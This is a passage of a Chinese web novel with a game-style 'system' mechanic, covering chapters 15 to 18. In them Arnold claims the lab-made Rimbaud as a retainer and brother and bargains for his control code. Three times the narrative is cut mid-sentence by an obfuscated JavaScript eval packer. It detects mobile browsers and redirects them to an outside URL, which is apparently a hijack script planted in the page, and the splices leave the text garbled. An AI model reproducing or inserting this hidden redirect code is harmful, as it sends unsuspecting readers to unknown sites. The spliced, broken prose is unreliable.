直到现在他才能明确地形容出阿诺德给他的异样感觉。 就好像本不该出现在他灰暗世界里的东西,突然跃然眼前。对方耀眼而不自知,如烈日般的强势气质让人无法轻易忽略,轻而易举就能将人逼到角落里。 对方生来就有一种无拘无束的气息,使得兰波这个被圈定了活动范围的人造人情不自禁地投来目光,好奇着对方的一举一动…… 兰波从阿诺德身上读到的最鲜明的特征,就是风一般的自由。 兰波自己当然是不自由的。他的灵魂都被指令死死地禁锢在牢笼里,不允许他挣脱分毫,任何人只要掌握了密令,就能命令兰波做任何事,哪怕是自戕。 而兰波没有拒绝的余地,就像一个被输入格式化指令的AI。 他对自我的认知也很明确,对于那些将他的命运握在手里的人类来说,自己应该是一件好用的工具。 兰波擅长使用枪支之类的武器,而人类擅长将他作为武器使用。 人类既擅于使用工具,又需要使用工具。唯独阿诺德不是这样,他强大到不需要外力帮助,有什么想要的东西,完全可以自己去取,工具这种东西对他而言,只是多余的累赘罢了。 兰波从来没有在对方眼中看到几乎所有人都有的欲.望,对方并不准备利用他,也不打算从他身上谋取什么,毕竟他对阿诺德来说其实没有太多价值可言。 对方只是纯粹地对他产生了兴趣。兰波不清楚这兴趣从何而来,但对上那双不含杂质的金色眼眸时,兰波很难生出多少厌恶之感。 也许正是因为他的直觉比理智更快认出了同类,他才会对阿诺德这么温和,宛如一只已经被拔去了牙齿的大猫,仍然自愿收起最后的防备,把指甲缩进肉垫里。 阿诺德听力很好,耳朵捕捉到了兰波的声音,“哥哥?”他思考了一下这是在叫谁,完全没把这个称呼和自己联系起来。 几乎是他开始思考的同一时刻,系统叮叮当当地响了起来。 阿诺德立刻意识到是事件的结算提醒,以往完成了什么任务或者事件,包括达成了某个成就,系统都会发出这样清脆的铃声。 【突发事件:假如我并不孤独(S级眷属事件)】 【状态:已完成,奖励已发放】 打开“眷属”界面,就可以看到原本灰色的“潜在眷属”变成了“正式眷属”。 【正式眷属(1)】 【姓名:‘阿蒂尔·兰波’\‘黑之十二号’】 【种族:非人类】 【阵营:英国(?)】 阿诺德点开阵营后面意义不明的“?”图标,眼前弹出了相关解释:【玩家的阵营就是眷属的阵营,阵营更改有风险,请玩家谨慎跳槽。】 系统冰冷的机械音响起,【恭喜玩家,您已经初步入门了‘眷属’功能。现在已为您解锁进阶功能。】 兰波成为阿诺德的眷属之后,阿诺德就可以查看他的各项详细数据了。 他大致浏览一番,像是力量、速度一类的基础数值,兰波的水准都在及格线以上,最突出的一项属性是魅力,高达91点。 纯天然的91点魅力,连阿诺德都惊讶了几秒,不过很快就理解了——即使是对容貌不太敏感的阿诺德,看到兰波的第一眼都会觉得好看,让他来评价的话,就是不管从哪个角度看,都挺顺眼的。 兰波的脸确实值得系统91点魅力的评价,平时面无表情的样子尽管淡漠,但在容貌的加持下也具有相当程度的蛊惑能力,让人明知会被刺伤,还是控制不住地上前搭话。 此时的兰波不复平时的冷淡,看上去更加引人注目了,他不太会浮水,一副气喘吁吁的狼狈样子,让人忍不住想把他捞上来,不忍心让这样的美人呛水。 但这只是对常人来说,像阿诺德这样的家伙只会考虑要不要趁兰波不注意,再把兰波压进水里,因为他想再看一遍对方茫然的神态。 没错,他就是这么邪恶,把自己的快乐建立在他人的痛苦之上,曾经的阿加莎被他迫害过无数次,时常被气得捂着胸口,表情扭曲地追杀他。作为最大的受害者之一,阿加莎对此很有发言权。 动手干坏事的前一刻,阿诺德不小心对上兰波湿漉漉的蓝瞳,对方的眸中一如既往地不含有多少负面情绪,其中蕴含的信任却明显增加了。 哪怕是阿诺德这样热衷于践踏他人心意的糟糕家伙在这种信赖的眼神下,不存在的良心都不禁一动,阻止了他接下来的举动。 于是阿诺德恶作剧的手就这么顿在了空中,接着又若无其事地收了回去。 他看了一眼兰波,一碰到对方满怀真心的眼光又马上收了回去,心里冒出一个想法。 ……好像小狗。 ……算了,他其实也不一定非要捉弄对方。 阿诺德瞟了一眼系统面板,上面正展示着兰波的各项属性,系统检测的数据绝对真实,作不了假。 【眷属】 【姓名:‘阿蒂尔·兰波’\‘黑之十二号’】 …… 【好感(对玩家):91】 大多数人对于亲朋好友,大概也就是七八十左右的好感,而兰波对他的好感度达到了惊人的91点。 系统当前已收录的角色当中,仅有兰波的好感高到这种程度。 因为阿诺德平日里讨嫌的事情做得太多了,大多数人都会像阿加莎和柯南大叔那样,好感度在50左右波动,每当阿诺德又干出什么混账事,身边人的好感就会自动下降一截,过一段时间又莫名其妙地涨回来,所以阿诺德从来不担心好感度过低会引起什么不可预见的事情。 在系统的属性值评判中,90是一道分界线,魅力90及以上意味着几乎没人能抵御你的引诱,人缘90及以上则说明所有认识你的人几乎都怀有越界的心思,力量、速度90及以上则代表在全世界内都很难找到势均力敌的对手。 而好感90及以上,大概就是正常人能够在一段关系中付出的极限,意味着这个人将你视作不可替代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357491|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的唯一,可以为你赴汤蹈火,冒天下之大不韪,几乎不可能背刺。 就算是阿诺德也忍不住多看了几眼,为这超乎寻常的好感度。他向来只注重结果,不在乎过程,此时也不禁问了一句系统,“好感涨的好快,是触发了什么隐藏条件吗?” 系统说道,【恭喜玩家,过往拼图+1,您的背景探索度提高了。】 “?”阿诺德回忆了一下,半晌才从大脑的角落里挖出系统说的东西,他艰难地想起来,早在三年前他刚成为“阿诺德”时,就有一个叫做【过往拼图】的功能,其存在的意义大概是鼓励玩家探索原主和世界的背景,探索度每到达一个节点,就会有奖励。 不过阿诺德当时的注意力不在这个上面,而是新奇地到处乱跑,早就把这个古早的功能抛在脑后了。 系统估计是猜到阿诺德把这忘了,于是把拼图界面调了出来,阿诺德之前从未填充过相关拼图。 在今天之前,背景拼图整片整片都是黑的,象征着对原身阿诺德0%的探索度。而在眷属事件完成后,拼图突兀地点亮了中央的一部分,根据透露出的冰山一角,勉强能够发现,拼图的原型是一张模糊的老照片。 一个穿着空荡荡白色衣服的瘦弱少年坐在手术台上,低头注视着怀中沉睡着的双目紧闭的金发幼童,手臂搂着幼童,俨然一副守护的姿态。少年略长的栗色发丝柔和地垂着,遮挡住了神色。 “唔……?所以原主是兰波的……”阿诺德停顿了一下,似乎在思索该用哪个称呼,但是他对各种关系的称谓了解甚少,半天都没有答案。 直到耳边传来兰波的声音,“哥哥?” 阿诺德抬起头,蓦然对上兰波隐含担忧的蓝眸。他发了好一会的呆,接着恍然大悟,右手“啪”地一声拍在兰波的肩上,兰波这次反应挺快,坚强地抵抗住了阿诺德无意间施加的巨大力道,没有被直接推得后退几步。 阿诺德表情几经变幻,突然被剥夺了孤家寡人的身份,他需要消化一下。很快,他下定决心,目光如炬,“……弟弟!” 兰波是原主的弟弟,那不就意味着,兰波也是他的弟弟吗? 兰波身躯一震,情绪起伏太大,感动的话梗在喉咙口,一时有些说不出来。 哥哥这么快就发现他的身世了?不愧是兄长。 . 当天,柯南·道尔站在窗台边吐出几口烟圈,正准备久违地放松一下,睡个午觉,余光发现阿诺德两人回来了,两人身上的衣服都湿哒哒的,阿诺德的外套更是不翼而飞,也不知道扔到哪去了。别问他怎么注意到的,问就是那件外套是他买的。 不过柯南·道尔早已习惯了阿诺德毫无形象包袱以及东西乱扔的做派,也不打算就此斥责对方——说了也没用,油盐不进的臭小子。正准备挪开眼光,就瞥见了诡异的一幕。 只见阿诺德把胳膊搭在兰波肩上,深情款款地唤道,“弟弟。” 而一向寡言少语的兰波眉眼带着几分包容,“怎么了,哥哥?” 阿诺德兴冲冲道,“我要去找柯南大叔,告诉他,我有弟弟了!”直觉告诉他,柯南大叔的表情一定会很精彩! 在不远处收敛起气息,悄悄观看的柯南·道尔缓缓扣出一个问号:“?” 他怀疑自己听错了,挖了挖耳朵,匪夷所思地跟着低声重复,“哥哥?弟弟?什么时候的事?” 他是不是错过了几百集剧情? 16.chapter16 阿诺德习惯性地去抓兰波的手腕,想要拉着对方去找柯南·道尔,但是兰波没有如之前一样无动于衷,而是主动牵住了他的手。 阿诺德反客为主反握住兰波,察觉到手心明显不同于手腕的柔和触感,好奇地捏了捏。 兰波浑身都僵住了,又恢复了被阿诺德拽着走的样子。 阿诺德侧过头一看兰波,见兰波不光耳朵红了,红潮在注视下逐渐蔓延到脸颊,在苍白的脸上格外明显。 阿诺德:? 他还没摸过别人的手心,所以没忍住多捏了几下,看兰波的反应就觉得有趣,于是凑到兰波侧耳,温热的气流激起了一片鸡皮疙瘩,“你脸红什么?” 兰波依旧面无表情,他像是才发觉自己脸红了似的,脸上浮现几分真实的疑惑,这里没有镜子,他不知道自己脸红了。 此时恰好有一阵风从塔楼走廊的窗户吹进来,兰波背后还没干,微风驱散了夏季的湿热感,低声道,“有点热。” 阿诺德以为兰波的意思是,脸红是因为太热了。他把手掌贴到对方泛红的脸蛋上,的确感受到了灼热的体温,于是赞同地点了点头,“确实挺热的。” 兰波一双蓝眸泛着水光,人生头一回与人亲密接触,脑子都飞到了九霄云外,嘴里胡乱地“嗯”了一声,踉踉跄跄地被阿诺德拽着跑了。 柯南·道尔等他们走远了,才从几米外的窗帘后面走出来。脑海中划过兰波的样子,想不通事情是怎么变成这样的。 在阿诺德他们看不到的地方,柯南·道尔已经着手开始制定策反和收服兰波的计划。既然已经决定要将兰波收入麾下,那自然要做好周密可靠的部署,常言道不打无准备的仗。 但是还没来得及实施计划,兰波就已经倒戈了,这是柯南·道尔从未设想过的展开。 惊讶过后,柯南·道尔漏出一声嗤笑。 柯南·道尔心中嘲笑,那群法国佬可真是下了步臭棋。将兰波送到战场就算了,最多算是信息差造成的羊入虎口——毕竟在此之前,阿诺德的情报都是绝密的,对方只从莫泊桑口中得知阿诺德近身作战无敌,却对阿诺德的异能一无所知,不可避免地导致了翻车的结果。 但是那些满脑肥肠的家伙们居然也不先行笼络兰波,而是直接将兰波调来战场,风险最大化。 兰波受到指令的控制,但是他说到底不是一件无思想的工具,单靠命令又怎么能让对方彻底忠诚? 就目前结果来看,简直是赔了夫人又折兵,亏麻了。 那些在谈判桌上趾高气昂的老对头们,现在多半在懊恼着怎么从己方手中要回兰波。 思及此,柯南·道尔差点笑出声,他知道自己没必要再为兰波费心思了,这多亏了阿诺德。 阿诺德平日里缺德得要命,倒是难得干了件好事,把兰波哄得死心塌地——或许算不上哄,毕竟只有别人哄阿诺德的份,阿诺德自己是断然不会放下身段去哄人的。 但总之结果是柯南·道尔乐于看到的,他并不准备深究阿诺德用的手段。 他“啧”了一声,心情愉悦地走出塔楼,打算出去散步,也省得又要应付阿诺德。阿诺德这次无形中帮了他一个大忙,但他不打算夸奖阿诺德,这小子禁不起夸。 与此同时,阿诺德突然听到了“滴”的一声,打开系统面板一看,瞳孔一缩。 . 阿诺德去柯南·道尔办公室找人,结果扑了个空。他郁闷地扫视了一圈收拾整洁的办公室,家具和装饰都充满古典韵味,唯独少了个人。 这个时间点,柯南·道尔应该悠哉悠哉地坐在单人沙发上看报纸。 但是现在,对方常用的躺椅却空着,一条孤零零的领带搭在把手上,人却不知所踪。 兰波其实并不在乎柯南·道尔的去向,他看着阿诺德略显郁卒的脸色,犹豫了一下,“我刚刚好像在走廊上发现了气息相近的人。” 阿诺德睁大眼睛,转过头来,“你怎么不早说?”他的眼里含着极大的震惊,仿佛失望于兰波的隐瞒。 兰波对上这样的眼神,慌了几秒钟,面上好不容易保持了镇定,“哥哥没有问我。”他见阿诺德若有所思,不禁感到几分紧张,保证道,“我下次会提前告诉哥哥的。” 兰波心下忐忑,他不提醒阿诺德其实是因为他不想松开对方的手,他懊悔地想,不应该因为贪恋一时的温暖而给哥哥添麻烦的,也许哥哥找柯南·道尔还有什么重要的事要说呢?这样一来,岂不是因为他而耽搁了? 这么一想,兰波心中涌起一股羞愧之意。他不是个好弟弟。 而阿诺德并没有像兰波担心的那样生气,而是很好哄地翘着尾巴,拉开椅子坐下,哼哼道,“好吧,我原谅你了。” 兰波松了口气,耳边突然传来阿诺德的声音,“咦?” 兰波看见阿诺德的目光凝固在空中,好像发现了什么不可思议的东西。 “?”兰波有些疑惑地跟随着对方的视线,只看到了一整面墙的高大红木书架,空中分明什么也没有。 【已收录角色(943)】 【姓名:阿瑟·柯南·道尔】 【好感(对玩家):67】 阿诺德来到这个世界三年,已经收录了总共943名角色,其中既有籍籍无名的路人,也有如英国女王那样权势滔天的大人物。 这么多角色,如果不加以排版的话,玩家查阅起来会很麻烦,因此系统体贴地将NPC划分为不同的等级,像柯南·道尔这种万中无一的超越者,边框都是金色的,象征着超然的身份和地位。 他听到系统“滴”了一声,点开通知,就看到柯南·道尔毫无预兆的好感变化。 【提示:柯南·道尔对您的好感度已升至67↑。】 阿诺德第一反应是系统出BUG了。系统按照代码逻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362115|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辑进行了自查,没有发现病毒或者漏洞。 系统的机械音本就毫无感情,一板一眼地汇报就显得更加呆板了。它重复道,【经过最新一次的数据自查,系统可以负责任地告诉玩家,没有出BUG。】 真不是阿诺德不相信系统,在大多数情况下,他都会无条件信任系统,唯独这个…… 他又看了一遍,好感平稳地停在67,看似没什么特别的,他身边还杵着个好感91的兰波呢。 但这看似平平无奇的好感不应该是柯南·道尔的,对方常年遭受他的折磨,好感一直在四五十徘徊,跟阿加莎差不多。 对此情形,排除系统故障的可能,阿诺德只能悚然地搓了搓胳膊,“柯南大叔的脑子是不是出问题了?” 阿诺德来回踱步,仔细回顾了一番这几天做的事情,以总结性的眼光来看,他才意识到,至少在近几天,他基本上没怎么折腾柯南大叔。 “!”原来是这样吗?他感觉明白了什么,仅仅是收敛了些许,没有找麻烦了,好感度就上涨了? 阿诺德瞪圆了眼,刷新了对柯南·道尔的认知。柯南大叔,原来你是这样的人! 柯南大叔平时多嫌弃他啊,巴不得他有多远滚多远,有时柯南大叔被他气得鬼火直冒,阿诺德都不会太过分地恶作剧,他懂得凡事要适度的道理,万一真把对方气急了,也不是全无后果。 就算是随心所欲的阿诺德,面对柯南大叔的横眉冷对和拒绝供应酸口食物的惩罚也会有些烦恼。 不过……看好感度的涨幅,可以发现柯南·道尔并不记仇,阿诺德只是安分了几天,他就不计前嫌地加上了好感,虽然表面上依旧不假辞色,好感的上升已经暴露了他的真实想法。 比起阿诺德这个幼稚的小气鬼,柯南·道尔的所作所为简直可以用慷慨宽容来形容了。 可不就是慷慨得很吗?阿诺德折了他多少根手杖,一壶茶毒死了他一缸名贵的观赏鱼,短短三年给他找了多少麻烦,害他长了多少根白发? 若非柯南·道尔忙于军务,暂时不知道阿诺德将他偷偷写的狗血小说投稿给伦敦出版社了,不然好感度或许还要经历一番断崖式的下跌。 阿诺德已经计划好了,等到出版社寄来样书,战争也快到了尾声,到时候他就可以把样书放在柯南大叔的门口,然后拍拍屁股走人了。 这样既可以避开柯南大叔冲天的怒火,也可以回伦敦找无比想念的阿加莎叙叙旧——虽然阿加莎可能并不想看到他,但是阿诺德并不在乎,他出奇地想念着亲爱的搭档。 算算时间,他已经离开伦敦两个月了!阿诺德还从来没有和亲爱的搭档分开这么久过,在遥远的北方边境想起阿加莎,竟然有些怀念,迫不及待地想回伦敦了。 同一时间,远在伦敦的阿加莎正兢兢业业地埋头办公,突然感觉鼻子有些痒,没忍住打了个喷嚏,“谁——在说我坏话?” 17.chapter17 由于后续的进展太过顺利,柯南·道尔用不着阿诺德帮忙,阿诺德便整日无所事事,闲着没事天天跑出去玩,柯南·道尔偶尔想要找他,都逮不住他的影子。 但是战争期间,边境娱乐匮乏,即使是阿诺德这样擅长找乐子的人,也感到了几分无聊,想不出几个取乐的好点子。 好在无聊的日子很快就要过去了,因为北方的混乱就要结束了,这意味着阿诺德返程的时间不远了。 某天,阿诺德闲的发慌,手头实在没有什么可以打发时间的事情,于是就来找柯南·道尔。 他到办公室门口的时候,门是紧闭着的,看来是在议事。 平日里柯南·道尔不经常关门,因为阿诺德有时会来寻他,偏生这厮又不爱带钥匙,索性敞开门,静候某人的大驾。 阿诺德兴奋地扒在办公室的门后,取出一根铁丝,用一种娴熟得有些诡异的手法捅开了锁眼,偷听秘书的汇报。 他的开锁手法久经锻炼,再加上门锁质量极佳,开关都不引人注意。 因而撬锁发出的声音微乎其微,秘书专心致志地为上级汇报事务,并未察觉到阿诺德在听墙角。 阿诺德悄悄从门后探出一个脑袋,看到柯南·道尔深邃的眼窝里卡着一只单片眼镜,正听着秘书条理清晰的报告,“……签署已协议,暂定于三日后进行最后的和谈……” 阿诺德来的晚了,因而没有听全,不过只言片语也足够拼凑出事情的大概。 他雀跃地想,这样平静得过头的日子总算要离他而去了! 听完汇报,柯南·道尔揉了揉太阳穴,挥退秘书,后者欠了欠身,谦恭地退出了办公室。 离开时,秘书余光不小心瞥见观赏松树后面藏着的一个栗色发顶,但是秘书没有声张,习以为常地虚虚掩上门,很有职业素养地装作没有发现。 作为柯南·道尔的专属秘书,这位秘书跟阿诺德打交道的次数也不少,明白对方不是自己能应付的,一副什么都没有瞧见的样子,很快就退出了视野。 阿诺德并未刻意掩盖气息,柯南·道尔自然发觉了他的气息,也不驱赶他。 秘书跟他报告的这些军务,其保密级别只是中等偏上,作为钟塔侍从的近卫骑士长,阿诺德完全有资格知晓,他没必要藏着掖着。 “怎么,不出去玩了?”柯南·道尔瞥了阿诺德一眼,惊奇一瞬,随后招手让阿诺德过来,帮对方捻下头发里不慎带上的树叶。 柯南·道尔敏锐地意识到有什么不对,他见阿诺德眼神亮得出奇,心道不好,看来是没好事。 柯南·道尔心中冷哼,不太愉快地扔给阿诺德一把梳子——他永远容忍不了有人顶着一头鸡窝似的卷毛在他眼前乱晃。 无事献殷勤,非奸即盗。柯南·道尔控制住情绪不外露,淡淡道,“有事?” “明知故问!”阿诺德哼哼,他不信柯南·道尔猜不出他的想法,大叔可是对他心思猜测最准的一个人。 见柯南·道尔似笑非笑,阿诺德摸着鼻子道,“大叔,我想回伦敦了。” 的确不是什么好事。以阿诺德当前的身份,至少目前走不了,他一走,就会引起难以预测的连锁反应。 按照柯南·道尔的预想,至少还要等半个月,他才能彻底处理完累计的军务和外交问题,到那时阿诺德才能一身轻松地回到熟悉的伦敦。 柯南·道尔放下文件,把钢笔的笔帽盖上,发出清脆的声响,准备专心应付某个闲来无事就来骚扰他的小混蛋。 他盯着小混蛋金色的明亮眼眸,对方没有说谎,眼中充满了对伦敦的渴望。 “就这么想回去?”柯南·道尔略有些疲惫,军中上下都指望着他来做决策,女王也将北境的军权交给了他,这是一份沉甸甸的信任,也是负担。 “嗯嗯!”阿诺德眼珠子转了转,忙不迭点头,“我想阿加莎了!” “……”柯南·道尔被阿诺德的神来一笔呛到了,还想念阿加莎,这小子怎么好意思说出口? 他心中懊恼,自己就不该在阿诺德来访的时候喝茶。放下茶杯,他果断回绝了阿诺德的诉求,“你可以等半个月后,后续事务安排妥当了再走。” 阿诺德幽怨地看着柯南·道尔,认为对方公报私仇,暗戳戳道,“我的小鞋已经多到穿不完了。” 言外之意是柯南大叔给他穿小鞋。 柯南·道尔不知道阿诺德心里是怎么想的,他拒绝阿诺德倒不是因为私人恩怨,如果有的选,他也不想跟阿诺德这个麻烦精朝夕相对,巴不得阿诺德赶紧滚回伦敦,还他一个清静的日子。 他早就见识过阿诺德胡搅蛮缠的功力,但此时他还是不得不先安抚这个想家的小鬼——等等,他忽然想起了什么,除了说服阿诺德老老实实地待在这儿,似乎还有别的解决方法。 不管怎么说,他都不想再被阿诺德折腾了,于是灵光一闪,想出了一个相对激进的办法。 柯南·道尔只斟酌了一秒,赶跑阿诺德的心思就占了上风,抱着把问题抛出去的想法,他索性直接将机密情报都说了出来,“我没事给你穿小鞋干什么?说到底这是你的事,你走了,兰波怎么办?你忘了他的身份?” “兰波还有什么身份?”阿诺德状似无意地问道。 “……”柯南·道尔沉默半晌,试图从阿诺德茫然的脸上看出伪装的破绽,“但愿你是真忘了。兰波是实验室产物,【牧神】为了控制他,在他脑子里设下了指令的开关,只要掌握了特定指令,就能无条件命令兰波。” 见阿诺德还是一副不以为意的样子,柯南·道尔加重声音,强调道,“是,兰波本人是很喜欢你,但只要持有指令者要求他动手,他就只能按照指令说的做,管你是谁都照捅不误。” 一般人听到这话多半会警惕起来,再不济也会产生担忧,但阿诺德的关注点却不一样,他很快接受了这个设定,随后的第一反应却是,“但是他根本打不过我,弟弟怎么可能打过哥哥?” 他像是想到了什么,开始得意扬扬,“就算在睡觉的时候偷袭,也是不可能成功的。所以那个指令,存在跟不存在都是一样的,这种小事,我根本没必要去解决。” 柯南·道尔不否认阿诺德的自保能力,对方不止一次遭到暗杀,除了三年前险些丧命的那一次,后来的刺客使劲浑身解数都没能在他身上留下一点伤痕。 恐怖的战斗力让阿诺德即使在睡梦中,亦能察觉到危险,并及时置敌于死地。 曾经有一天,阿诺德早晨若无其事地从房间里出来,阿加莎因为得到了刺客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369300|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的消息,就去问阿诺德有没有遇到刺杀,阿诺德的回答是斩钉截铁的没有。 可是当天,打扫卫生的阿姨就在他的卧室里发现一具咽气不久的尸体,验尸结果是死在前一天的半夜,脖颈上的掐痕也与阿诺德的手型对的上。 阿诺德得知这件事的时候发出一声“哈?”,挠了挠头,真的没有印象。 在阿加莎严厉的目光下,阿诺德才仔仔细细地搜刮脑海中残余的记忆,勉强想了起来,“啊,我好像做了个梦……” 他实话实说,“有陌生人突然进入我的领域,然后那个人……” 他努力回想,不确定地道,“应该是死了吧。” 阿加莎只当阿诺德是睡糊涂了,这才把刺客给忘了。实则不然,阿诺德并没有睡糊涂,他只是睡得太死了。 他不记得那个刺客,仅仅是因为反杀刺客的不是他,而是深入骨髓的本能反应。在精神陷入深度睡眠时,身体仍然肩负着警戒的任务,察觉到潜入者隐晦的杀意,便在无意识间结果了对方,而阿诺德本人甚至没有多少相关的记忆。 阿诺德的脑回路异于常人,实在难以说服。柯南·道尔深觉无力,阿诺德的脑子里到底装了些什么? 无奈之下,他不得不换了个角度,再次尝试,“难道你不觉得这样很麻烦吗?” 阿诺德反问,“你不觉得这样很好玩吗?”他对自己的实力太自信了,自从他知道自己在睡梦中也会本能地压制周围人的异能之后,他的睡眠质量变得极佳,对于被刺杀这种意味着风险的事情,更多的是期待。 他希望有人能给他带来更多的乐趣,不管是奔着取他性命而来的刺客,还是其他的什么人,只要能让他觉得好玩,这就是最好的结果。 “我得提醒你。”柯南·道尔深深地叹了口气,决定做最后的尝试,“如果不能彻底根除‘指令’的隐患,女王那边很难承认兰波是你的弟弟。” 阿诺德身上是有爵位的,他想要认兰波做弟弟,需要经过女王的承认。女王亲自授予爵位为阿诺德带来了许多便利,但同时也有些许限制,在亲友的审查上,会比普通人严格很多。 让柯南·道尔没有想到的是,阿诺德的表情产生了些许变化。 阿诺德脸上浮现困惑的神色,“但兰波就是我的弟弟呀。”他似乎已经认定了这点。 “……”好机会。 柯南·道尔抓紧机会,以“口头的兄弟不如白纸黑字的户口本”为由,成功说服了阿诺德。 “好吧,”阿诺德承诺道,“关于兰波的‘指令’,我会解决这件事。” 柯南·道尔抑制着上扬的嘴角,淡定地“嗯”了一声,看似并不为阿诺德难得的大包大揽感到高兴。 他朝门口侧了侧头,明显的逐客令。 阿诺德倒也不多作纠缠,见柯南·道尔如此盼望着他走,他略感不爽,于是回头做了个鬼脸,看见柯南·道尔眼不见心为静地扭过头,才满意地离开。 阿诺德一脚踹上门,拉起在门后等待他的兰波,转眼间就跑得没影了。 办公室的隔音实在优秀,兰波就站在门外等候,也没有听到什么声音。他仅仅是发了会儿呆,正思考着今晚吃什么,阿诺德就突然推开了门,以一种拉扯小辈的姿态拽着兰波离开了。 18.chapter18 【牧神】在制造兰波的时候,未雨绸缪地设下了密令,用于确保自己对兰波的绝对控制,没想到为他人做了嫁衣。实验室被捣毁后,这份密令就为法国控制兰波提供了最大的依仗。 正如没有机器能够突破设定好的代码,兰波只要还活着,就不可能彻底摆脱指令的胁迫,他的头顶始终有阴霾挥之不去。 英法交涉的谈判桌上,双方就兰波的归属权争论不休,英方指出兰波并非土生土长的法国人,他甚至不是自然人。 而兰波本人也为英方驳论的正确性作出了证明,他承认比起原本的老东家,他更愿意待在英国——原话是想跟阿诺德待在一起,但是四舍五入一下也能用来堵住法方代表的嘴。 可以这么说,不管是在名义上,还是私下里,兰波都不能算是法方的人。 法方形势不如人,在耍嘴皮子上也落了下风,但他们也并非只能一昧挨打,要知道兔子急了也是会咬人的。 法方代表见对方咬死不松口,俨然一副明着抢人的架势,也不忍气吞声了,直接拿出最后的底牌,“兰波身世特殊,这是在座各位都清楚的事。当初魏尔伦先生杀死代号【牧神】的通缉犯时,顺便取回了不少资料——” 这些资料的性质并未明说,然而在场的人都一清二楚,无非就是用于控制兰波的密令,英方坚持谈判,为的就是这个密令,他们需要对方迫于压力交出密令,作为报偿,他们当然也能拿出别的东西交换,譬如调整外贸进出口的税率,或是分享不那么重要的新型异能科技…… 但是兰波的分量显然不止这么点砝码,法方不满意,因而一直从中斡旋,试图获得更大的利益。 双方都做好了持久战的准备,最乐观的预测也是半个月后能结束这件事,可是谁都没想到的是,一个人的到来却轻而易举地打破了僵局。 阿诺德走进会议室的时候,双方仍然在唇枪舌战,英法不和由来已久,刚开始还端着架子一板一眼地驳斥,很快就新仇旧恨叠在一起,吵的不可开交。谈判桌上唾沫横飞,吵的脸红脖子粗,恨不得咬下对方一口肉。 “【牧神】早已被剥夺法国国籍,他一手制造的兰波又怎么能说是法国人?照我看,你的论调简直令人发笑!” “按照惯例,只要在法国境内出生,就是法国国籍,【牧神】的实验室就在法国!你们强抢他国公民,还有理了?” “这怎能说是强抢?”英国外交官冷笑着,一字一顿地复述兰波亲口所说的话,斩钉截铁地道,“兰波先生既然是公民,当然有移民的权利,我们充分尊重他的意愿,倒是你们,强留的嘴脸不太好看吧?” “你……” 直到阿诺德旁若无人地找了个椅子坐下,如火如荼的吵架才消停下来,原本吵闹如菜市场的会议室内一片寂静,无数目光汇聚在阿诺德——还有他身边的兰波身上。 “吵完了?”阿诺德笑了笑,一副平易近人的样子,“那该我说了。” “……”隶属英国的众人不敢吱声,只能用眼神进行隐晦的交流,谁把这祖宗放进来的?不怕对方一个不高兴把会议室炸了? 有人在阿诺德视线死角的地方悄悄做了个口型,【柯南先生。】 接收到信号的其他人顿时松了口气,心里浮动的不安立刻消散了。 如果说阿诺德就是不安定的代名词,那么柯南·道尔则恰恰相反,对方出身贵族世家,累世勋贵,经过多年来实打实的功绩的积累,在军队和政治中都具有极高的威望,一提及他,旁人便下意识地服从,全心全意地信任着这位就连女王也发自内心倚重的最高指挥官先生。 既然是柯南先生,那肯定不会出问题……众人压下心中的不安,心里七上八下地观察着阿诺德。 阿诺德一点也不像是第一次进入这种场合的人,他全程保持着不失身份的风范,让侍者帮忙保管黑色的礼帽,一身剪裁得体的手工西装穿在他身上显得无比矜贵,宛如一个拥有良好教养的贵族少爷。 他无比自然地牵着兰波,如同带领幼弟出席宴会的兄长。 兰波身量比阿诺德略高,却不让人怀疑二人之间的从属关系。 兰波一言不发,视线全程跟随着阿诺德,阿诺德让他坐在哪里,他就坐在哪。 即使落座,兰波也在桌子下牵着阿诺德的手,他是如此地依赖着阿诺德,以至于完全不在意他人的看法,法国外交官的脸都绿了,兰波却表情淡淡,连一个眼神都吝啬。 阿诺德没有特意展开气场,但当他走进这个会议室的时候,在场所有人都能感受到那种直面顶尖强者的压迫感。 人类进化出的灵敏嗅觉让他们汗毛倒竖,如同跟一头不可控的猛兽共处一室,时刻涌起一种没由来的恐惧,好像他们真的被对方杀死过一次。 阿诺德是为了解决问题而来,他在柯南大叔的嘱咐下换上了这套正式的西装,只感觉浑身不适。 他也懒得拖延时间了,直言道,“把兰波的密令给我,我可以无条件答应你们一个要求。” 法国外交官没见过这种展开,见对方不像是开玩笑的样子,赶紧给长官打了个电话。 “福楼拜先生……没错,这就是他的原话,怎么办?” 福楼拜原本正在批阅军务,闻言神情凛然,“你们先拖住他,我很快就来。” 